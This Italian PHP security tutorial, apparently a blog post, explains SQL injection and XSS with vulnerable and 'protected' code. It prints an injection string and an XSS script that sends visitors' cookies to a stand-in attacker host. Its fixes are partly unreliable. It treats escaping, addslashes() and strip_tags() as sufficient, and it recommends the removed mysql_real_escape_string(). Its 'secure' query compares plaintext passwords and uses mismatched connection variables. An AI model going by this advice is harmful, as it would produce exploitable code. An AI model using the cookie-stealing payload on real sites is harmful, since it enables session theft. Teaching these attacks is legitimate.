Home>Guide>Sicurezza PHP: proteggi il tuo sito dagli attacchi SQL Injection e XSS

Sicurezza PHP: proteggi il tuo sito dagli attacchi SQL Injection e XSS




La sicurezza è un aspetto fondamentale dello sviluppo di un sito web e PHP, come qualsiasi altra tecnologia, ha le sue vulnerabilità.
Come sviluppatori PHP, è importante essere consapevoli di queste vulnerabilità e sapere come proteggere il nostro codice.
Gli attacchi SQL Injection e XSS sono due delle minacce più comuni per i siti web e, se non gestiti correttamente, possono causare danni seri.
In questo articolo, ti guiderò attraverso i concetti di base della sicurezza in PHP per mostrarti come utilizzare le funzioni di sicurezza integrate per proteggere il tuo sito web da questi attacchi comuni.
Sei pronto?

  • Leggi l'articolo, ti bastano solo 1 minuto, 26 secondi
    Sei di fretta? Scarica il PDF e consultalo quando vuoi!

Che cos'è un attacco SQL Injection e come evitarlo?

Un attacco SQL Injection è un tipo di attacco in cui un malintenzionato inserisce codice maligno all’interno di una query SQL.
Questo può permettere all’attaccante di accedere o modificare i dati del tuo sito web senza autorizzazione.

Ecco un esempio di una query vulnerabile:

$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($link, $query);

In questo esempio, i valori provenienti dal $_POST vengono trasmessi alla query (e di conseguenza al database) esattamente come inseriti dall’utente, senza alcun controllo.

Se un utente malintenzionato inserisce la stringa maligna ' OR '1'='1 come nome utente, la query diventa:

$query = "SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'password'";

Questa query restituirà tutte le righe della tabella “users” perché la condizione '1'='1' è sempre vera.

Ciò consente all’attaccante di recuperare informazioni sensibili dal database, come password degli utenti, indirizzi email e altre informazioni personali!

Da brividi…

Ma niente paura!
Per evitare questo tipo di attacco, è importante utilizzare la funzione di sicurezza di PHP, ad esempio mysqli_real_escape_string() o PDO::quote(), per sanitizare i dati inseriti dall’utente prima di inserirli nella query SQL.
Inoltre, è sempre una buona idea utilizzare le query preparate invece di costruire query dinamicamente.

Utilizazndo l’esempio precedente, ecco come potresti proteggere la query:

$username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($link, $query);

Come vedi, abbiamo usato la funzione mysqli_real_escape_string() per sanitizare i dati in ingresso, così da proteggere il tuo sito da codice malevolo.
Semplice no?


Che cos'è un attacco XSS e come evitarlo?

Un attacco XSS (Cross-Site Scripting) è un tipo di attacco in cui un malintenzionato inserisce codice maligno all’interno di una pagina web.
Questo può permettere all’attaccante di rubare informazioni sensibili dell’utente, come le credenziali di accesso.
Come esempio di codice vulnerabile, immagina di avere un sito web che consente agli utenti di inserire commenti e che il commento venga memorizzato nel database e poi stampato a video:

$comment = $_POST["comment"];
/* [...] Codice che memorizza nel database [...] */
/* [...] Codice che recupera dal database [...] */
echo "Il tuo commento: " . $comment;

In questo esempio, il codice accetta un input dall’utente tramite un form HTML, lo memorizza nel database, poi lo visualizza nella pagina web senza alcun tipo di sanitizzazione o validazione.
Se un utente malintenzionato inserisce un commento contenente codice JavaScript maligno, questo codice verrà eseguito nel browser degli utenti che visualizzano il commento.
Un esempio di codice malevolo potrebbe essere:

<script>
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "https://attacker-site.com/steal-data.php?cookie=" + document.cookie);
    xhr.send();
</script>

Se questo commento viene visualizzato da un altro utente del sito web, il codice JavaScript maligno verrà eseguito nel browser dell’utente e invierà i cookie dell’utente all’attaccante.
Ciò consente all’attaccante di rubare informazioni sensibili, come le credenziali di login dell’utente.

Per evitare questo tipo di attacco XSS, è importante utilizzare sempre le funzioni di sicurezza di PHP per sanitizare i dati dell’utente prima di visualizzarli nella pagina web.

In questo caso specifico, si potrebbe utilizzare la funzione htmlspecialchars() per convertire i caratteri speciali in entità HTML, in modo che non vengano interpretati come codice dal browser.

Un esempio di codice protetto:

$comment = $_POST["comment"];
/* [...] Codice che memorizza nel database [...] */
/* [...] Codice che recupera dal database [...] */
echo "Il tuo commento: " .htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');

In questo modo, anche se un utente malintenzionato inserisce un commento contenente codice JavaScript maligno, il codice non verrà eseguito poiché verrà visualizzato come testo normale e non come codice eseguibile.

Io mi sento già un po’ più sicuro, e tu?


Come utilizzare le funzioni di sicurezza di PHP per proteggere il tuo codice

PHP fornisce diverse funzioni di sicurezza che possono essere utilizzate per proteggere il tuo codice.
Abbiamo già visto mysqli_real_escape_string() e htmlspecialchars() che possono essere utilizzate per sanitizare i dati inseriti dall’utente.
Altre funzioni di sicurezza utili in PHP includono:

  • addslashes(): questa funzione aggiunge uno slash ai caratteri speciali presenti in una stringa, rendendola sicura da utilizzare in una query SQL.
  • htmlspecialchars(): questa funzione converte i caratteri speciali in enti HTML, rendendo la stringa sicura da utilizzare in un contesto HTML.
  • strip_tags(): questa funzione rimuove i tag HTML e PHP da una stringa, rendendola sicura da utilizzare in un contesto HTML.
  • mysql_real_escape_string(): questa funzione aggiunge gli slash ai caratteri speciali presenti in una stringa, rendendola sicura da utilizzare in una query SQL.
  • filter_var(): questa funzione permette di filtrare i dati in ingresso, ad esempio verificando se un indirizzo email o un numero di telefono sono validi.
  • password_hash() and password_verify(): queste funzioni permettono di creare e verificare le password hash con algoritmi di crittografia sicuri.

Inoltre, considera l’utilizzo di prepared statement per evitare l’iniezione SQL; questo sistema prepara una query SQL con i parametri di input e quindi esegue la query, dopo averli sanitizzati.

Queste sono solo alcune delle funzioni di sicurezza disponibili in PHP.
È importante utilizzarle correttamente nel tuo codice per assicurarti che il tuo sito sia protetto da vulnerabilità comuni.


Come testare la sicurezza del tuo codice PHP

È importante testare regolarmente la sicurezza del tuo codice PHP per individuare eventuali vulnerabilità.

Ecco alcuni consigli:

  • Verifica di input: Invia input di prova al tuo codice per verificare che sia in grado di gestire correttamente i dati dell’utente. Invia input che contengano caratteri speciali, lunghezze eccessive e valori nulli per verificare se il tuo codice è vulnerabile a attacchi di tipo SQL Injection e XSS.
  • Utilizzo di strumenti automatici: Ci sono molti strumenti automatici disponibili online che ti aiutano a individuare le vulnerabilità del tuo codice. Ad esempio, puoi utilizzare strumenti come OWASP ZAP o Burp Suite per eseguire test di sicurezza automatizzati sul tuo sito web.
  • Analisi del codice sorgente: Esamina attentamente il tuo codice sorgente alla ricerca di eventuali errori di programmazione che possono rendere il tuo sito vulnerabile. Ad esempio, cerca di individuare eventuali punti dove si utilizzano query SQL dinamiche senza sanitizzare i dati dell’utente.
  • Test di penetrazione: Utilizza tecniche di test di penetrazione per simulare gli attacchi degli utenti malintenzionati e verificare la resistenza del tuo sito.
  • Utilizzo di servizi di sicurezza: Utilizza servizi di sicurezza come Cloudflare o Sucuri per proteggere il tuo sito web da attacchi comuni.
  • Monitoraggio continuo: Una volta che il tuo sito è stato messo in produzione, è importante monitorarlo continuamente per individuare eventuali vulnerabilità o attacchi. Utilizza strumenti di monitoraggio per raccogliere statistiche sul traffico e sulle richieste al tuo sito, e ricevi notifiche in caso di attività sospette

Inoltre, ci sono diversi strumenti disponibili per questo scopo, tra cui:

  • PHP Security Audit che è uno strumento open-source per l’analisi della sicurezza del codice PHP.
  • PHP CodeSniffer che è uno strumento open-source per l’analisi del codice PHP in termini di stile e sicurezza.
  • PHPStan che è uno strumento open-source per l’analisi statica del codice PHP per individuare eventuali problemi di sicurezza.

Conclusione e ulteriori risorse sulla sicurezza in PHP

In conclusione, la sicurezza è un aspetto fondamentale dello sviluppo di un sito web e, come sviluppatori PHP, è importante essere consapevoli delle vulnerabilità e sapere come proteggere il nostro codice.

Abbiamo discusso di come proteggere il tuo sito web dagli attacchi SQL Injection e XSS utilizzando le funzioni di sicurezza di PHP, ma ti incoraggio a approfondire l’argomento studiando ulteriori risorse sulla sicurezza e a testare regolarmente la sicurezza del tuo codice.



Ti è piaciuto questo articolo? Regalami un click per ripagarmi dello sforzo



Code4Life ti è stato utile? Sostienici con una donazione!

Dona con PayPal

Hai trovato interessante l’articolo? Allora ti consiglio di leggere:

Come usare le regex in JavaScript


Hai bisogno di cercare o sostituire stringhe in testi più o meno lunghi? Scopri come fare con JavaScript.

Proprietà CSS avanzate: crea forme con “clip-path”


Vuoi stupire i tuoi utenti con effetti speciali? Impara ad usare la proprietà CSS “clip-path”.

Oppure cerca tra gli articoli correlati


E tu cosa ne pensi? Condividi la tua opinione e discutiamone insieme
La tua email non sarà resa pubblico o utilizzata per inviarti spam, te lo prometto

Iscrivimi alla newsletter per ricevere news ed aggiornamenti
Utilizziamo piattaforme di terze parti per l’invio di newsletter. (Informativa sulla privacy)
Tienimi aggiornato su questo articolo
Ricevi una email di notifica quando qualcuno scriverà un commento a questo articolo. (Informativa sulla privacy)
Ricorda i miei dati per la prossima volta che scriverò un commento
Il tuo nome e la tua email verranno salvati in un cookie in questo browser. (Informativa sulla privacy)